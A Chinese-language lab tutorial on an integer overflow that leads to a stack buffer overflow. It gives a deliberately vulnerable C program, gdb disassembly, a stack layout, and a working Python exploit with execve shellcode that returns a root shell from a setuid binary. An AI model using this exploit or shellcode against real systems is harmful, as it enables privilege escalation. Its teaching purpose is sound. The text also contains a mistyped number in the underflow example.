0.前言
存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但整数溢出可能会导致栈溢出或堆溢出,这可能导致任意代码执行。本次讨论栈溢出。常见的数据类型大小及范围
如果想让255存储于无符号的char类型时,它是可以正常存储的,在正常范围之内。但是如果想要存储256,它会被存储为0,同样的257,会存储为1,这就是整数溢出,可能导致任意代码执行。
类似地,存储小于最小支持值的值称为整数下溢。例如,当我们尝试将-2147483649存储到带符号的int数据类型时,它将被包装并存储为21471483647.这称为整数下溢。
1.环境及工具
虚拟机环境:Ubuntu 12.04 Desktop(x86)
工具:gdb-peda
2.漏洞程序的成因分析
2.1 漏洞代码
一个简单的含有栈溢出漏洞的代码如下:
//vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void store_passwd_indb(char* passwd) {
}
void validate_uname(char* uname) {
}
void validate_passwd(char* passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd);
if(passwd_len >= 4 && passwd_len <= 8) {
printf("Valid Password\n");
fflush(stdout);
strcpy(passwd_buf,passwd);
} else {
printf("Invalid Password\n");
fflush(stdout);
}
store_passwd_indb(passwd_buf);
}
int main(int argc, char* argv[]) {
if(argc!=3) {
printf("Usage Error: \n");
fflush(stdout);
exit(-1);
}
validate_uname(argv[1]);
validate_passwd(argv[2]);
return 0;
}
漏洞代码的位置为:unsigned char passwd_len = strlen(passwd); strlen的返回类型是size_t(unsigned int),它存储在unsigned char数据类型中。因此,任何大于unsigned char的最大支持值的值都会导致整数溢出。因此当密码长度为261时,261将被存储为passwd_len变量中的5.由于这个整数溢出,可以绕过边界检查,也就是代码:if(passwd_len >= 4 && passwd_len <= 8),从而使代码继续执行下去,执行到:strcpy(passwd_buf,passwd); 导致基于堆栈的缓冲区溢出。
2.2 调试
首先编译链接源代码,使之成为可执行文件。(同样的,需要先关闭栈保护,使栈变得可写,这个漏洞才能生效;关闭aslr地址随机化关闭),修改可执行文件的用户组为root,修改权限等。
然后开始调试,由于需要输入满足条件的字符数,使strlen函数的输出产生溢出,所以可以输入261个A进行调试。
查看程序崩溃时的状态,可以看到被成功覆盖
直接使用gdb查看main函数的汇编代码
Dump of assembler code for function main:
0x0804852a <+0>: push ebp
0x0804852b <+1>: mov ebp,esp
0x0804852d <+3>: and esp,0xfffffff0
0x08048530 <+6>: sub esp,0x10
0x08048533 <+9>: cmp DWORD PTR [ebp+0x8],0x3
0x08048537 <+13>: je 0x804855e <main+52>
0x08048539 <+15>: mov DWORD PTR [esp],0x8048680
0x08048540 <+22>: call 0x80483a0 <puts@plt>
0x08048545 <+27>: mov eax,ds:0x804a020
0x0804854a <+32>: mov DWORD PTR [esp],eax
0x0804854d <+35>: call 0x8048380 <fflush@plt>
0x08048552 <+40>: mov DWORD PTR [esp],0xffffffff
0x08048559 <+47>: call 0x80483c0 <exit@plt>
0x0804855e <+52>: mov eax,DWORD PTR [ebp+0xc]
0x08048561 <+55>: add eax,0x4
0x08048564 <+58>: mov eax,DWORD PTR [eax]
0x08048566 <+60>: mov DWORD PTR [esp],eax
0x08048569 <+63>: call 0x8048499 <validate_uname>
0x0804856e <+68>: mov eax,DWORD PTR [ebp+0xc]
0x08048571 <+71>: add eax,0x8
0x08048574 <+74>: mov eax,DWORD PTR [eax]
0x08048576 <+76>: mov DWORD PTR [esp],eax
0x08048579 <+79>: call 0x804849e <validate_passwd>
0x0804857e <+84>: mov eax,0x0
0x08048583 <+89>: leave
0x08048584 <+90>: ret
End of assembler dump.
栈布局大致如下
地址 | 栈 | 指针 |
---|---|---|
pssward | ||
0xbffff21c | return address | |
0xbffff218 | 调用者的ebp | ebp |
edi | ||
对齐空间 | ||
pwd_buf[8-11]+pwd_len | ||
pwd_buf[4-7] | ||
pwd_buf[0-3] | ||
0xbffff204 | pwd_buf[0-3] | |
0xbffff1e0 | esp |
根据栈布局,可以看到Return Address的地址位于buffer首地址+12(buffer大小)+1(buffer长度)+4(对齐空间)+4(edi)+4(调用者的ebp)。 因此,用户输入的”A” * 24 + “B” * 4 + “C” * 233,以A覆盖passwd_buf,passwd_len,对齐空间,edi和调用者的ebp,以BBBB覆盖返回地址,以C覆盖剩余空间
可以看到eip被成功覆盖
3.编写exp
最终构造payload:“A”24+ret_addr(4字节)+nop(100字节)+shellcode(25字节)+“C”108,最后结果payload应该为261字节,ret_addr的值位于用户输入的passwd的位置。 python代码如下:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
arg1 = "sploitfun"
ret_addr = 0xbffff284
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
def conv(num):
return struct.pack("<I",num)
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108
print "Calling vulnerable program"
call(["./vuln", arg1, arg2])
可以看到通过执行exp成功获取了系统的root权限。